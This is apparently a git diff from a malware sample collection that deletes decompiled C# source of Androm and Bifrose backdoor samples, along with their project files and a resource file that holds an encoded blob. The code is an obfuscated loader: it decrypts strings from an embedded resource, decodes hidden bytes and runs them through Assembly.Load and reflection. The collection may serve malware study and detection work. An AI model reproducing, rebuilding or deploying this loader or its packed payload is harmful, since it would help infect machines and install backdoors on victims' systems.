-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs
deleted file mode 100644
index 00907303..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0008.cs
+++ /dev/null
@@ -1,59 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.IO;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.Serialization.Formatters.Binary;
-using System.Threading;
-
-public sealed class \u0008
-{
- public static byte[] \u0002(object _param0)
- {
- try
- {
- MemoryStream serializationStream = new MemoryStream();
- new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0));
- return serializationStream.ToArray();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- Exception exception = ex;
- Console.WriteLine(\u000F.\u0002(580699096), (object) exception.ToString());
- ProjectData.ClearProjectError();
- }
- return (byte[]) null;
- }
-
- public static object \u0002()
- {
- \u000E.\u0006 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
- {
- (object) 1
- }, (string[]) null), \u000F.\u0002(580699037));
- object obj;
- return obj;
- }
-
- [STAThread]
- public static void \u0002()
- {
- Thread.Sleep(0);
- \u0008.\u0002();
- Assembly.Load(\u000E.\u0006).GetType(\u0006.\u0002(\u000F.\u0002(580699019), \u000F.\u0002(580699062))).GetMethod(\u0006.\u0002(\u000F.\u0002(580699051), \u000F.\u0002(580698966))).Invoke((object) null, new object[2]
- {
- (object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
- {
- (object) 0
- }, (string[]) null), \u000F.\u0002(580698955)),
- (object) \u000E.\u0008
- });
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs
deleted file mode 100644
index 3a395132..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000E.cs
+++ /dev/null
@@ -1,20 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.Win32;
-using System.Reflection;
-using System.Resources;
-
-[StandardModule]
-internal sealed class \u000E
-{
- public static ResourceManager \u0002 = new ResourceManager(\u000F.\u0002(580698993), Assembly.GetExecutingAssembly());
- public static string \u0003 = Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName;
- public static RegistryKey \u0005;
- public static string \u0008 = \u000E.\u0003;
- public static byte[] \u0006;
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs
deleted file mode 100644
index eaf2bbf8..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_000F.cs
+++ /dev/null
@@ -1,498 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type:
-// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
-// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
-
-using System;
-using System.Diagnostics;
-using System.IO;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Text;
-
-internal static class \u000F
-{
- private static \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 \u0002;
- private static \u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006 \u0003;
- private static byte[] \u0005;
- private static short \u0008;
- private static int \u0006;
- private static byte[] \u000E;
- private static int \u000F;
- private static int \u0002\u2000;
- private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002 \u0003\u2000;
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- static \u000F()
- {
- int num1 = -426164219;
- int num2 = num1 - 1979452043;
- \u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9);
- int skipFrames = 1;
- StackTrace stackTrace = new StackTrace(skipFrames, false);
- int index = skipFrames - 1;
- StackFrame frame = stackTrace.GetFrame(index);
- int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2);
- MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
- if (frame != null)
- num3 ^= -~~--~-~~(1149007232 - num1 - num2);
- Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
- int num4;
- if ((object) type == (object) typeof (RuntimeMethodHandle))
- {
- \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000;
- num4 = num3 ^ (num1 - 1979451816 ^ num2) + index;
- }
- else if ((object) type == null)
- {
- num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2);
- \u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 1;
- }
- else if ((object) type.Assembly != (object) typeof (\u000F).Assembly)
- {
- \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000;
- num4 = num3 ^ num1 - 738984598 + num2;
- }
- else
- {
- \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000;
- num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index;
- }
- \u000F.\u0002\u2000 += num4;
- }
-
- private static void \u0002(byte[] _param0, int _param1, byte[] _param2)
- {
- int num1 = 0;
- int num2 = 0;
- int num3 = 128;
- int length = _param2.Length;
-label_10:
- while (num1 < length)
- {
- if ((num3 <<= 1) == 256)
- {
- num3 = 1;
- num2 = (int) _param0[_param1++];
- }
- if ((num2 & num3) != 0)
- {
- int num4 = ((int) _param0[_param1] >> 2) + 3;
- int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023;
- _param1 += 2;
- int num6 = num1 - num5;
- if (num6 < 0)
- break;
- while (true)
- {
- if (--num4 >= 0 && num1 < length)
- _param2[num1++] = _param2[num6++];
- else
- goto label_10;
- }
- }
- else
- _param2[num1++] = _param0[_param1++];
- }
- }
-
- [MethodImpl(MethodImplOptions.NoInlining)]
- internal static string \u0002(int _param0)
- {
- int num1 = 77956711;
- int num2 = num1 + 1837816693;
- lock (\u000F.\u0002)
- {
- string str1;
- byte[] numArray1;
- int num3;
- while (true)
- {
- str1 = \u000F.\u0002.\u0002(_param0);
- if (str1 == null)
- {
- int num4;
- if (\u000F.\u0003 == null)
- {
- Assembly executingAssembly = Assembly.GetExecutingAssembly();
- Assembly.GetCallingAssembly();
- \u000F.\u0006 |= 1988982073 ^ num1 ^ num2;
- Assembly assembly1 = executingAssembly;
- StringBuilder stringBuilder = new StringBuilder();
- int num5 = num1 - 1919747211 - num2;
- stringBuilder.Append((char) num5).Append((char) (num5 >> 16));
- int num6 = 1457178686 - num1 ^ num2;
- stringBuilder.Append((char) num6).Append((char) (num6 >> 16));
- int num7 = (-1768683592 ^ num1) - num2;
- stringBuilder.Append((char) (num7 >> 16)).Append((char) num7);
- int num8 = -1300740973 - num1 + num2;
- stringBuilder.Append((char) (num8 >> 16)).Append((char) num8);
- int num9 = num1 + 1837808501 ^ num2;
- stringBuilder.Append((char) num9);
- string name = stringBuilder.ToString();
- Stream manifestResourceStream = assembly1.GetManifestResourceStream(name);
- int skipFrames = 1;
- StackTrace stackTrace = new StackTrace(skipFrames, false);
- \u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames;
- int index = skipFrames - 1;
- StackFrame frame = stackTrace.GetFrame(index);
- MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod();
- \u000F.\u0006 ^= index + (1993729987 - num1 ^ num2);
- Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType;
- if (frame == null)
- \u000F.\u0006 ^= (1989557480 ^ num1) - num2;
- bool flag = (object) type == (object) typeof (RuntimeMethodHandle);
- \u000F.\u0006 ^= 1837816597 + num1 ^ num2;
- if (!flag)
- {
- flag = (object) type == null;
- if (flag)
- \u000F.\u0006 ^= (num1 ^ -1988661040) + num2;
- }
- if (flag == (stackTrace != null))
- \u000F.\u0006 = 32 ^ \u000F.\u0006;
- \u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index;
- \u000F.\u0003 = new \u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006(manifestResourceStream);
- short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2));
- if (num10 == (short) 0)
- \u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2));
- else
- \u000F.\u0005 = \u000F.\u0003.\u0002((int) num10);
- Assembly assembly2 = executingAssembly;
- AssemblyName assemblyName;
- try
- {
- assemblyName = assembly2.GetName();
- }
- catch
- {
- assemblyName = new AssemblyName(assembly2.FullName);
- }
- \u000F.\u000E = assemblyName.GetPublicKeyToken();
- if (\u000F.\u000E != null && \u000F.\u000E.Length == 0)
- \u000F.\u000E = (byte[]) null;
- int num11 = \u000F.\u0002\u2000;
- \u000F.\u0002\u2000 = 0;
- long num12 = \u0003\u2000.\u0002();
- num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2);
- \u000F.\u000F = num4;
- \u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2;
- if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002) 0)
- \u000F.\u0006 = num1 - 1993686153 + num2;
- }
- else
- num4 = \u000F.\u000F;
- if (\u000F.\u0006 != (1989446641 ^ num1) - num2)
- {
- int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2;
- \u000F.\u0003.\u0002().Position = (long) num13;
- if (\u000F.\u0005 != null)
- {
- numArray1 = \u000F.\u0005;
- }
- else
- {
- short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13);
- if (num14 == (short) 0)
- {
- numArray1 = (byte[]) null;
- }
- else
- {
- numArray1 = \u000F.\u0003.\u0002((int) num14);
- for (int index = 0; index != numArray1.Length; ++index)
- numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3));
- }
- }
- num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4;
- if (num3 == (num1 - 1993730117 | num2))
- {
- byte[] numArray2 = \u000F.\u0003.\u0002(4);
- _param0 = (num1 ^ -999205350) + num2 ^ num4;
- _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0;
- }
- else
- goto label_33;
- }
- else
- goto label_23;
- }
- else
- break;
- }
- return str1;
-label_23:
- return new string(new char[3]
- {
- (char) (num1 - 1993730027 + num2),
- '0',
- (char) (1993730027 - num1 ^ num2)
- });
-label_33:
- bool flag1 = (num3 & num1 - 1383408779 - num2) != 0;
- bool flag2 = (num3 & -1764366269 - num1 - num2) != 0;
- bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0;
- int num15 = num3 & (num1 ^ 2036996164 ^ num2);
- byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15));
- if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2))
- {
- for (int index = 0; index < num15; ++index)
- {
- byte num16 = \u000F.\u000E[7 & index];
- byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5);
- numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17);
- }
- }
- int num18 = \u000F.\u0006 - 12;
- byte[] bytes;
- int length;
- if (!flag3)
- {
- bytes = numArray3;
- length = num15;
- }
- else
- {
- length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24;
- bytes = new byte[length];
- \u000F.\u0002(numArray3, 4, bytes);
- }
- string str2;
- if (flag1 && num18 == 1839424495 + num1 - num2)
- {
- char[] chArray = new char[length];
- for (int index = 0; index < length; ++index)
- chArray[index] = (char) bytes[index];
- str2 = new string(chArray);
- }
- else
- str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length);
- int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5);
- if (num19 != num1 - 1992118185 + num2)
- {
- int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2;
- ref int local = ref num20;
- StringBuilder stringBuilder = new StringBuilder();
- int num21 = num1 ^ 1989535715 ^ num2;
- stringBuilder.Append((char) (byte) num21);
- string format = stringBuilder.ToString();
- str2 = local.ToString(format);
- }
- if (!flag2)
- {
- str2 = string.Intern(str2);
- \u000F.\u0002.\u0002(_param0, str2);
- if (\u000F.\u0002.\u0002() == 9)
- {
- \u000F.\u0003.\u0003();
- \u000F.\u0003 = (\u000F.\u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006) null;
- \u000F.\u0005 = \u000F.\u000E = (byte[]) null;
- }
- }
- return str2;
- }
- }
-
- private sealed class \u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006
- {
- private Stream \u0002;
- private byte[] \u0003;
-
- public \u0006\u2004\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003\u2009\u2009\u200A\u2000\u2000\u2003\u2003\u2006(
- Stream _param1)
- {
- this.\u0002 = _param1;
- this.\u0003 = new byte[4];
- }
-
- public Stream \u0002() => this.\u0002;
-
- public short \u0002()
- {
- this.\u0002(2);
- return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8);
- }
-
- public int \u0002()
- {
- this.\u0002(4);
- return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24;
- }
-
- private void \u0002() => throw new EndOfStreamException();
-
- private void \u0002(int _param1)
- {
- int offset = 0;
- if (_param1 == 1)
- {
- int num = this.\u0002.ReadByte();
- if (num == -1)
- this.\u0002();
- this.\u0003[0] = (byte) num;
- }
- else
- {
- do
- {
- int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset);
- if (num == 0)
- this.\u0002();
- offset += num;
- }
- while (offset < _param1);
- }
- }
-
- public void \u0003()
- {
- Stream stream = this.\u0002;
- this.\u0002 = (Stream) null;
- stream?.Close();
- this.\u0003 = (byte[]) null;
- }
-
- public byte[] \u0002(int _param1)
- {
- byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException();
- int length = 0;
- do
- {
- int num = this.\u0002.Read(numArray, length, _param1);
- if (num != 0)
- {
- length += num;
- _param1 -= num;
- }
- else
- break;
- }
- while (_param1 > 0);
- if (length != numArray.Length)
- {
- byte[] dst = new byte[length];
- Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length);
- numArray = dst;
- }
- return numArray;
- }
- }
-
- [DefaultMember("Item")]
- internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008
- {
- private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002;
- private int \u0003;
-
- public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16];
-
- public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(
- int _param1)
- {
- int length = 16;
- _param1 <<= 1;
- while (length < _param1 && length > 0)
- length <<= 1;
- if (length < 0)
- length = 16;
- this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length];
- }
-
- public int \u0002() => this.\u0003;
-
- private void \u0002()
- {
- \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002;
- int length1 = objArray1.Length;
- int length2 = length1 * 2;
- if (length2 <= 0)
- return;
- \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2];
- int num1 = 0;
- for (int index1 = 0; index1 < length1; ++index1)
- {
- string str = objArray1[index1].\u0003;
- if (str != null)
- {
- int num2 = objArray1[index1].\u0002;
- int index2 = num2 & length2 - 1;
- while (objArray2[index2].\u0003 != null)
- {
- ++index2;
- if (index2 >= length2)
- index2 = 0;
- }
- objArray2[index2].\u0003 = str;
- objArray2[index2].\u0002 = num2;
- ++num1;
- }
- }
- this.\u0002 = objArray2;
- this.\u0003 = num1;
- }
-
- public string \u0002(int _param1)
- {
- \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
- int length = objArray.Length;
- int index = _param1 & length - 1;
- string str = (string) null;
- while (objArray[index].\u0002 != _param1)
- {
- if (objArray[index].\u0003 != null)
- {
- ++index;
- if (index >= length)
- index = 0;
- }
- else
- goto label_6;
- }
- str = objArray[index].\u0003;
-label_6:
- return str;
- }
-
- public void \u0002(int _param1, string _param2)
- {
- \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002;
- int length = objArray.Length;
- int num1 = length >> 1;
- int index = _param1 & length - 1;
- while (true)
- {
- do
- {
- int num2 = objArray[index].\u0002;
- bool flag = objArray[index].\u0003 == null;
- if (num2 == _param1 || flag)
- {
- objArray[index].\u0003 = _param2;
- if (!flag)
- return;
- objArray[index].\u0002 = _param1;
- ++this.\u0003;
- if (this.\u0003 <= num1)
- return;
- this.\u0002();
- return;
- }
- ++index;
- }
- while (index < length);
- index = 0;
- }
- }
-
- private struct \u0002
- {
- public int \u0002;
- public string \u0003;
- }
- }
-
- private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002\u2009\u200A\u2002
- {
- }
-}
diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/ b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/
deleted file mode 100644
index 8c641c88..00000000
--- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/
+++ /dev/null
@@ -1 +0,0 @@
-{ARQ[v{rVA,GB tJ8Z,g6jAQ[gcrgws38_1oQ[/"igH*M?ʤQ["Oc/zxQ[3getQ[BR"P^6`XQ[|+>ai{Q[ٷYk-.;b!Q[0%"
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj
deleted file mode 100644
index ae8ac19f..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj
+++ /dev/null
@@ -1,47 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {10E56AF5-4212-461C-8F60-8B20FD114586}
- WinExe
- تمويه
- 0.0.0.0
- My
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln
deleted file mode 100644
index 2085952f..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "تمويه", "Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.csproj", "{10E56AF5-4212-461C-8F60-8B20FD114586}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx
deleted file mode 100644
index b5deacbb..00000000
--- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx
+++ /dev/null
@@ -1,6712 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
-
-
- H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd
- ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/In6XP/Y3+DXw/Dq/
- xn//9//6f8DvdPZn/O6/8O7in/nFf+B3fsV3/s3/qP2Lf4M/6A/4LX+3f+tP+j1/s//uH/6j/vn/4k/5
- 737n4vMfv/PXfusP/mfyn8y/f/7b/J7/3H//5/99v/I/+MX/498v//w9h3/+i49/5X/4f/8ev+/57Ncs
- /9d/4Tv/zj/9F/yuf9Bf80/9Lr/HL/2Z3+X3+Ogf+N/+6t/jv/43/7e//Q/843////Tf/N/W/9X//X//
- yv/7/3z7f/wOf+C/+Tf+rv/i/3j2f//f//O/+vv/6n/zf/vFv///9e/872f/96/6Q/+r//sf/Kf/x//l
